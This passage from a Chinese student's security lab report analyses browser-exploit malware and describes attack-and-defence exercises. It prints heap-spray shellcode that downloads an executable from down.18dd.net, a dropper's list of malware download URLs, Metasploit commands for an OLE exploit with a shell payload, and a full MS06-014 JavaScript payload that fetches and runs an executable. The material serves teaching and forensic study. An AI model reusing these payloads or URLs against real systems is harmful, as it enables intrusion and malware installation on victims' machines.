+ "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a"; pps.Logo = buffer
-
继续使用FreShow解码两次其中的shellcode,得到图十七的结果,核心部分的内容有
GetProcAddress、GetSystemDirectoryA、WinExec、ExitThread、LoadLibraryA、urlmon、URLDownloadToFileA、http://down.18dd.net/bb/pps.exe
,可知代码会下载http://down.18dd.net/bb/pps.exe
:
图十七 解码shellcode
-
bd.cab是一个压缩文件,将该文件进行解压缩,可得到bd.exe可执行程序。
-
对三个可执行文件分别求MD5值,代码如下,结果如图十八所示:
echo -n http://down.18dd.net/bb/014.exe|md5sum # -n:不打印换行符,保证md5结果正确 # 结果为ca4e4a1730b0f69a9b94393d9443b979 echo -n http://down.18dd.net/bb/bf.exe|md5sum # -n:不打印换行符,保证md5结果正确 # 结果为268cbd59fbed235f6cf6b41b92b03f8e echo -n http://down.18dd.net/bb/pps.exe|md5sum # -n:不打印换行符,保证md5结果正确 # 结果为ff59b3b8961f502289c1b4df8c37e2a4
图十八 计算MD5
-
如图十九所示,经过计算md5值,可知
014.exe
、bf.exe
、pps.exe
、bd.cab
中的bd.exe
均为同一个文件,只需分析一个即可。
图十九 计算四个可执行文件的MD5
-
首先我们使用PEiD查看该可执行文件的有关信息,可以发现该程序使用Delphi进行编写,如图二十所示。
Delphi,是Windows平台下著名的快速应用程序开发工具(Rapid Application Development,简称RAD)。它的前身,即是DOS时代盛行一时的“BorlandTurbo Pascal”,最早的版本由美国Borland(宝兰)公司于1995年开发。主创者为Anders Hejlsberg。经过数年的发展,此产品也转移至Embarcadero公司旗下。Delphi是一个集成开发环境(IDE),使用的核心是由传统Pascal语言发展而来的Object Pascal,以图形用户界面为开发环境,透过IDE、VCL工具与编译器,配合连结数据库的功能,构成一个以面向对象程序设计为中心的应用程序开发工具。
图二十 用PEiD分析bf.exe
- 用IDA打开bf.exe,查看其中的字符串信息,如下所示:
可以推断出程序从CODE:00402FE0 0000001C C SOFTWARE\\Borland\\Delphi\\RTL CODE:00402FFC 0000000D C FPUMaskValue CODE:004052B8 00000015 C QueryServiceConfig2A CODE:004052D0 00000015 C QueryServiceConfig2W CODE:004052E8 00000016 C ChangeServiceConfig2A CODE:00405300 00000016 C ChangeServiceConfig2W CODE:00405318 0000000B C serdst.exe CODE:0040535C 00000006 C 60000 CODE:004053A0 0000000A C Wdswsdewn CODE:00405434 0000001E C http://down.18dd.net/kl/0.exe CODE:00405478 0000001E C http://down.18dd.net/kl/1.exe CODE:004054BC 0000001E C http://down.18dd.net/kl/2.exe CODE:00405500 0000001E C http://down.18dd.net/kl/3.exe CODE:00405544 0000001E C http://down.18dd.net/kl/4.exe CODE:00405588 0000001E C http://down.18dd.net/kl/5.exe CODE:004055CC 0000001E C http://down.18dd.net/kl/6.exe CODE:00405610 0000001E C http://down.18dd.net/kl/7.exe CODE:00405654 0000001E C http://down.18dd.net/kl/8.exe CODE:00405698 0000001E C http://down.18dd.net/kl/9.exe CODE:004056DC 0000001F C http://down.18dd.net/kl/10.exe CODE:00405720 0000001F C http://down.18dd.net/kl/11.exe CODE:00405764 0000001F C http://down.18dd.net/kl/12.exe CODE:004057A8 0000001F C http://down.18dd.net/kl/13.exe CODE:004057EC 0000001F C http://down.18dd.net/kl/14.exe CODE:00405830 0000001F C http://down.18dd.net/kl/15.exe CODE:00405874 0000001F C http://down.18dd.net/kl/16.exe CODE:004058B8 0000001F C http://down.18dd.net/kl/17.exe CODE:004058FC 0000001F C http://down.18dd.net/kl/18.exe CODE:00405940 0000001F C http://down.18dd.net/kl/19.exe CODE:00405BE4 0000000C C IE ִ�б��� CODE:00405BF0 00000007 C #32770 CODE:00405BF8 0000000B C IEִ�б��� CODE:00405C04 00000009 C ����ִ�� CODE:00405C10 00000007 C Button CODE:00405C18 00000005 C ȷ�� CODE:00405C40 00000005 C ���� CODE:00405ED4 00000011 C [AutoRun]\r\nopen= CODE:00405F14 00000014 C shell\\Auto\\command= CODE:00406A90 0000003C C Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer CODE:00406ACC 00000013 C NoDriveTypeAutoRun CODE:00406AE8 00000011 C [AutoRun]\r\nopen= CODE:00406B28 00000014 C shell\\Auto\\command= CODE:00406C4C 0000002E C \\program files\\internet explorer\\IEXPLORE.EXE CODE:00407894 0000000A C ntdll.dll CODE:004078A0 00000015 C ZwUnmapViewOfSection CODE:00407CD0 0000000F C VirtualAllocEx CODE:00407CE0 0000000D C Kernel32.dll CODE:004082C8 00000011 C drivers/klif.sys CODE:004082E8 00000017 C cmd /c date 1981-01-12 CODE:00408320 00000017 C Ϊ���弴���豸�ṩ֧�� CODE:00408340 00000010 C Telephotsgoogle CODE:004084A0 00000005 C 0813 DATA:0040903D 00000016 C ��������������������� DATA:00409053 00000005 C ���@
http://down.18dd.net/kl/
依次下载了0.exe~19.exe共20个可执行文件,并生成了一个Autorun脚本,该脚本打开了IE浏览器。此外,还通过cmd /c date 1981-01-12
修改了系统的日期。
2.3 攻防对抗实践—web浏览器渗透攻击攻防
IP地址\成员 | 20232906陈瀚文 | 20232925操昕 |
---|---|---|
攻击机 | 192.168.1.230 | 192.168.1.53 |
靶机 | 192.168.1.135 | 192.168.1.131 |
-
攻击方
这里我使用了ms14_064_ole_code_execution漏洞进行攻击,使用攻击命令如下:use exploit/windows/browser/ms14_064_ole_code_execution # 将CVE-2006-0003作为目标漏洞 set payload windows/shell/bind_tcp # 设置 Payload 为任意TCP连接 set URIPATH / # 设置 URLPATH 为根路径 exploit # 进行攻击
CVE-2014-6332:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
Microsoft Windows Server 2003 SP2、Windows Vista SP2、Windows Server 2008 SP2 和 R2 SP1、Windows 7 SP1、Windows 8、Windows 8.1、Windows Server 2012 Gold 和 R2 以及 Windows RT Gold 和 8.1 中 OLE 中的OleAut32.dll允许远程攻击者通过构建的网站执行任意代码,如触发 SafeArrayDimen 函数中大小值的不正确处理的数组重新调整大小的尝试所证明的那样, 又名“Windows OLE 自动化阵列远程执行代码漏洞”。这里我构造了如图二十一所示的钓鱼邮件,其中,图片和两个红色链接都会指向钓鱼链接。
图二十一 发送钓鱼邮件
图二十二 攻击方运行CVE-2012-1823按一下回车之后输入命令
session -i 1
,即可调出获取到的靶机Shell,如图二十三所示。
图二十三 成功获取靶机Shell -
防守方
这里对方发送了一个钓鱼邮件,如图二十三所示。
图二十三 收到钓鱼邮件
他使用了MS06-014 Microsoft Windows MDAC漏洞进行攻击,抓包结果如图二十四所示,靶机的浏览器访问钓鱼邮件的链接后,攻击机发送了一段js代码:
>CVE-2006-0003:RDS 中存在远程代码执行漏洞。作为 ActiveX 数据对象(ADO)的一部分提供的 Dataspace ActiveX 控件,该控件在 MDAC 中分发。 成功利用此漏洞的攻击者可以完全控制受影响的系统。
<div> <!--块级封装-->
<center> <!--将图片和文字居中-->
<img src="https://img-blog.csdnimg.cn/direct/39576ce802f74da79fef7f7589932886.png"
style="zoom:100%"/>
<br> <!--换行-->
<font face="SimHei" size="3">图二十四 攻击机攻击载荷</font> <!--标题-->
</center>
</div>
经过格式化后,代码的具体内容如下所示:
<html>
<head>
<title>
</title>
<script language="javascript">
functionNFmJcQ(o, n) {
varr = null;
try {
eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n)")
} catch(e) {}
}
return (r);
}
functioneqDMJwHEPDtRVcMJKQQu(a) {
vars = NFmJcQ(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
varo = NFmJcQ(a, "A" + "DO" + "D" + "B.S" + "tr" + "eam");
vare = s.Environment("P" + "ro" + "ce" + "ss");
varurl = document.location + '/p' + 'ay' + 'lo' + 'ad';
varxml = null;
varbin = e.Item("T" + "E" + "M" + "P") + "\\ZEVvW" + ".e" + "xe";
vardat;
try {
xml = newXMLHttpRequest();
} catch(e) {
try {
xml = newActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xml = newActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (!xml) {
return (0);
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0);
}
functionewo() {
vari = 0;
vart = newArray('{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}', '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}', '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}', '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}', '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}', '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}', '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}', '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}', '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}', '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', null);
while (t[i]) {
vara = null;
if (t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[i].substring(1, t[i].length - 1));
} else {
try {
a = newActiveXObject(t[i]);
} catch(e) {}
}
if (a) {
try {
varb = NFmJcQ(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
if (b) {
eqDMJwHEPDtRVcMJKQQu(a);
return (0);
}
} catch(e) {}
}
i++;
}
}
</script>
</head>
<body onload='ewo()'>
DVAfFBvlxVfDKHvRbCRzqZ
</body>
</html>
具体流程为:当页面加载时,onload事件触发ewo函数。ewo函数创建一个数组t,其中包含一系列GUID和ActiveX对象名称。然后,它遍历这个数组,尝试使用每个元素创建一个ActiveX对象。如果对象创建成功,ewo函数会尝试使用该对象创建一个WScript.Shell对象。如果这也成功,它会调用eqDMJwHEPDtRVcMJKQQu函数,并将初始对象作为参数传递。
eqDMJwHEPDtRVcMJKQQu函数首先使用初始对象创建一个ADODB.Stream对象。然后,它创建一个URL,该URL是当前文档的位置,后面跟着/payload。
eqDMJwHEPDtRVcMJKQQu函数尝试使用XMLHttpRequest对象从上述URL下载数据。如果这失败,它会尝试使用ActiveXObject对象。下载的数据被写入ADODB.Stream对象,然后被保存为一个名为ZEVvW.exe的文件,该文件位于临时文件夹中。最后,WScript.Shell对象用于运行这个新创建的可执行文件。
攻击机利用这个漏洞成功反弹了Shell,如图二十五所示。
![](https://img-blog.csdnimg.cn/direct/dcba33e343654effb8b9e40600d90ddb.png)
图二十五 攻击机通过反弹Shell执行命令
3.问题及解决方案
- 问题1:在使用Kali攻击Win2kServer时,攻击机无法Ping通靶机IP。
- 问题1解决方案:将Win2kServer接入桥接网卡,然后修改其IP地址使得IP地址符合桥接网络的IP范围并使网关为桥接网络的网关。
4.学习感悟、思考等
本次实验延续之前的Metasploit实验继续进行了Metasploit的Web攻击相关实践,通过动手的方式我弄懂了Metasploit对IE浏览器的攻击方法。在本次实验中,经过在网上寻找相关资料,我成功地完成了相关的实验内容,总的来说本次实验难度不大,但取证分析实践过程内容相对较多,值得注意的是,无论是之前实验的漏洞还是此次实验的浏览器漏洞,其都含有许多因未更新软件遗留的漏洞,这也提醒我们应当时刻更新软件至最新版本以尽量减少已知漏洞的存在。对于0-day漏洞,我们可以通过安全软件进行动态检测,检测的对象可以是文件操作记录,网络日志等多种数据源。
感谢王老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!